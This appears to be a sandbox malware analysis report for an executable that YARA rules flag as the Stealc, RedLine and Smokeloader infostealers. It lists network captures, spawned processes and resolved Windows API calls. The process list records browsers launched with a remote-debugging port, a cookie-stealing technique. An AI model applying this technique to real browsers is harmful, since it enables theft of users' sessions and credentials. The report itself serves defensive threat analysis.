Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-16849878b78q9m8bqvwuva4svc00000007t0000000006wwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 626021c1-201e-0085-10af-2a34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-159b85dff8fc5h75hC1DFWntr800000000v0000000001b2a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:34 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080734Z-16849878b78q9m8bqvwuva4svc00000007pg00000000gku8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:34 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:34 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:34 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 97a405ee-b01e-001e-60eb-2a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080734Z-15b8d89586fbmg6qpd9yf8zhm0000000049g00000000110t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:34 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:34 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:34 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:34 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: d6a1c2a7-101e-0079-31ea-2a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080734Z-16849878b782d4lwcu6h6gmxnw0000000900000000002ftx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:34 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:34 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:34 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 0c94b88e-401e-005b-1c4a-2b9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080734Z-17c5cb586f69dpr98vcd9da8e800000000qg000000005t1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:34 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Target ID:	0
Start time:	04:07:01
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\I43xo3KKfS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\I43xo3KKfS.exe"
Imagebase:	0x400000
File size:	712'704 bytes
MD5 hash:	70601976CCAFCD842CF413A269F70E7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2144088459.0000000002490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2466911293.00000000023B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2466815767.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:07:09
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:07:10
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2236,i,12728769652571103709,16681002183324042487,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:07:20
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:07:21
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:07:21
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2824 --field-trial-handle=2580,i,9160805204216496030,1290202691667560686,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:07:21
Start date:	31/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2096,i,1110173691356344578,8625308391343283424,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:07:31
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4888 -s 1888
Imagebase:	0x7ff7934f0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	58.1%
Signature Coverage:	4.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	130

Executed Functions

Function 00419F20 Relevance: 203.7, APIs: 112, Strings: 4, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,008A6790), ref: 00419F3D
GetProcAddress.KERNEL32(76210000,008A6730), ref: 00419F55
GetProcAddress.KERNEL32(76210000,008A93D8), ref: 00419F6E
GetProcAddress.KERNEL32(76210000,008A93F0), ref: 00419F86
GetProcAddress.KERNEL32(76210000,008A9408), ref: 00419F9E
GetProcAddress.KERNEL32(76210000,008A9690), ref: 00419FB7
GetProcAddress.KERNEL32(76210000,008AB508), ref: 00419FCF
GetProcAddress.KERNEL32(76210000,008A96A8), ref: 00419FE7
GetProcAddress.KERNEL32(76210000,008A9708), ref: 0041A000
GetProcAddress.KERNEL32(76210000,008A9648), ref: 0041A018
GetProcAddress.KERNEL32(76210000,008A96C0), ref: 0041A030
GetProcAddress.KERNEL32(76210000,008A6670), ref: 0041A049
GetProcAddress.KERNEL32(76210000,008A6650), ref: 0041A061
GetProcAddress.KERNEL32(76210000,008A6710), ref: 0041A079
GetProcAddress.KERNEL32(76210000,008A68B0), ref: 0041A092
GetProcAddress.KERNEL32(76210000,008A96D8), ref: 0041A0AA
GetProcAddress.KERNEL32(76210000,008A9678), ref: 0041A0C2
GetProcAddress.KERNEL32(76210000,008AB828), ref: 0041A0DB
GetProcAddress.KERNEL32(76210000,008A6830), ref: 0041A0F3
GetProcAddress.KERNEL32(76210000,008A9660), ref: 0041A10B
GetProcAddress.KERNEL32(76210000,008A96F0), ref: 0041A124
GetProcAddress.KERNEL32(76210000,008AFF40), ref: 0041A13C
GetProcAddress.KERNEL32(76210000,008AFE38), ref: 0041A154
GetProcAddress.KERNEL32(76210000,008A6510), ref: 0041A16D
GetProcAddress.KERNEL32(76210000,008AFEB0), ref: 0041A185
GetProcAddress.KERNEL32(76210000,008AFE68), ref: 0041A19D
GetProcAddress.KERNEL32(76210000,008AFE80), ref: 0041A1B6
GetProcAddress.KERNEL32(76210000,008AFE98), ref: 0041A1CE
GetProcAddress.KERNEL32(76210000,008AFE50), ref: 0041A1E6
GetProcAddress.KERNEL32(76210000,008AFF58), ref: 0041A1FF
GetProcAddress.KERNEL32(76210000,008AFD30), ref: 0041A217
GetProcAddress.KERNEL32(76210000,008AFD48), ref: 0041A22F
GetProcAddress.KERNEL32(76210000,008AFEC8), ref: 0041A248
GetProcAddress.KERNEL32(76210000,008AC8A0), ref: 0041A260
GetProcAddress.KERNEL32(76210000,008AFC70), ref: 0041A278
GetProcAddress.KERNEL32(76210000,008AFD60), ref: 0041A291
GetProcAddress.KERNEL32(76210000,008A6530), ref: 0041A2A9
GetProcAddress.KERNEL32(76210000,008AFF28), ref: 0041A2C1
GetProcAddress.KERNEL32(76210000,008A6550), ref: 0041A2DA
GetProcAddress.KERNEL32(76210000,008AFEE0), ref: 0041A2F2
GetProcAddress.KERNEL32(76210000,008AFC88), ref: 0041A30A
GetProcAddress.KERNEL32(76210000,008A6570), ref: 0041A323
GetProcAddress.KERNEL32(76210000,008A65B0), ref: 0041A33B
LoadLibraryA.KERNEL32(008AFCD0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(008AFD78,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(008AFCB8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(008AFCA0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(008AFCE8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(008AFD00,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(008AFE08,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(008AFD18,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(751E0000,008A62D0), ref: 0041A3EA
GetProcAddress.KERNEL32(751E0000,008AFD90), ref: 0041A402
GetProcAddress.KERNEL32(751E0000,008A8F50), ref: 0041A41A
GetProcAddress.KERNEL32(751E0000,008AFF10), ref: 0041A433
GetProcAddress.KERNEL32(751E0000,008A6130), ref: 0041A44B
GetProcAddress.KERNEL32(73FB0000,008AB490), ref: 0041A470
GetProcAddress.KERNEL32(73FB0000,008A61F0), ref: 0041A489
GetProcAddress.KERNEL32(73FB0000,008AB760), ref: 0041A4A1
GetProcAddress.KERNEL32(73FB0000,008AFDA8), ref: 0041A4B9
GetProcAddress.KERNEL32(73FB0000,008AFDC0), ref: 0041A4D2
GetProcAddress.KERNEL32(73FB0000,008A6370), ref: 0041A4EA
GetProcAddress.KERNEL32(73FB0000,008A6330), ref: 0041A502
GetProcAddress.KERNEL32(73FB0000,008AFDD8), ref: 0041A51B
GetProcAddress.KERNEL32(753A0000,008A6250), ref: 0041A53C
GetProcAddress.KERNEL32(753A0000,008A63B0), ref: 0041A554
GetProcAddress.KERNEL32(753A0000,008AFEF8), ref: 0041A56D
GetProcAddress.KERNEL32(753A0000,008AFDF0), ref: 0041A585
GetProcAddress.KERNEL32(753A0000,008A6490), ref: 0041A59D
GetProcAddress.KERNEL32(76310000,008AB5D0), ref: 0041A5C3
GetProcAddress.KERNEL32(76310000,008AB530), ref: 0041A5DB
GetProcAddress.KERNEL32(76310000,008AFE20), ref: 0041A5F3
GetProcAddress.KERNEL32(76310000,008A64B0), ref: 0041A60C
GetProcAddress.KERNEL32(76310000,008A63D0), ref: 0041A624
GetProcAddress.KERNEL32(76310000,008AB788), ref: 0041A63C
GetProcAddress.KERNEL32(76910000,008AFFB8), ref: 0041A662
GetProcAddress.KERNEL32(76910000,008A6270), ref: 0041A67A
GetProcAddress.KERNEL32(76910000,008A8F90), ref: 0041A692
GetProcAddress.KERNEL32(76910000,008AFFA0), ref: 0041A6AB
GetProcAddress.KERNEL32(76910000,008AFF70), ref: 0041A6C3
GetProcAddress.KERNEL32(76910000,008A62B0), ref: 0041A6DB
GetProcAddress.KERNEL32(76910000,008A62F0), ref: 0041A6F4
GetProcAddress.KERNEL32(76910000,008B0030), ref: 0041A70C
GetProcAddress.KERNEL32(76910000,008AFF88), ref: 0041A724
GetProcAddress.KERNEL32(75B30000,008A6190), ref: 0041A746
GetProcAddress.KERNEL32(75B30000,008B0000), ref: 0041A75E
GetProcAddress.KERNEL32(75B30000,008AFFE8), ref: 0041A776
GetProcAddress.KERNEL32(75B30000,008AFFD0), ref: 0041A78F
GetProcAddress.KERNEL32(75B30000,008B0018), ref: 0041A7A7
GetProcAddress.KERNEL32(75670000,008A6230), ref: 0041A7C8
GetProcAddress.KERNEL32(75670000,008A6390), ref: 0041A7E1
GetProcAddress.KERNEL32(76AC0000,008A63F0), ref: 0041A802
GetProcAddress.KERNEL32(76AC0000,008B07B0), ref: 0041A81A
GetProcAddress.KERNEL32(6F4E0000,008A6170), ref: 0041A840
GetProcAddress.KERNEL32(6F4E0000,008A6450), ref: 0041A858
GetProcAddress.KERNEL32(6F4E0000,008A6210), ref: 0041A870
GetProcAddress.KERNEL32(6F4E0000,008B0720), ref: 0041A889
GetProcAddress.KERNEL32(6F4E0000,008A6290), ref: 0041A8A1
